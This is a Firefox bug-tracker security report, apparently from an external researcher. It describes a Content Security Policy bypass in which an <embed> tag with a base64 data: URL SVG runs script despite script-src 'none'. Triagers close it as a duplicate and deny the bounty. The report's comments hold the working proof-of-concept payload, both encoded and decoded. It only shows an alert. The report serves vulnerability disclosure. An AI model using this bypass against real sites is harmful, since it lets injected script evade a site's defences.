Closed Bug 1550499 Opened 6 years ago Closed 6 years ago

CSP bypass use embed tag

Categories

(Core :: DOM: Security, defect)

defect
Not set
normal

Tracking

()

RESOLVED DUPLICATE of bug 1457100

People

(Reporter: whitehat002, Unassigned)

References

Details

(Keywords: reporter-external, Whiteboard: [reporter-external] [client-bounty-form] [verif?])

Attachments

(1 file)

Attached image csp.png

At present, there are some problems with this tag. You can't get related information such as domain or cookie, but you can bypass csp and execute xss.

xss payload


<meta http-equiv="Content-Security-Policy" content="script-src 'none'">
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoL2NzcCBieXBhc3MvKTs8L3NjcmlwdD48L3N2Zz4=" AllowScriptAccess="always"></EMBED>
Flags: sec-bounty?

For reference, the SVG provided is:

<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="194" height="200" id="xss">
<script type="text/ecmascript">alert(/csp bypass/);</script>
</svg>

This seems like it's effectively the same as bug 1550414.

Group: firefox-core-security → dom-core-security
Component: Security → DOM: Security
Product: Firefox → Core
See Also: → 1550414
Type: task → defect

Yes,Maybe the same as #1550414. , only the labels used are different.

Slightly different: <embed> and <object> need to inherit the parent document's CSP (as <iframe> does) for data: URLs.

Status: UNCONFIRMED → RESOLVED
Closed: 6 years ago
Resolution: --- → DUPLICATE

Although this vulnerability is repeated, will this vulnerability be fixed?

(In reply to hackyzh from comment #4)

Although this vulnerability is repeated, will this vulnerability be fixed?

At some point.

This is not a bounty eligible report.

Flags: sec-bounty? → sec-bounty-
Group: dom-core-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: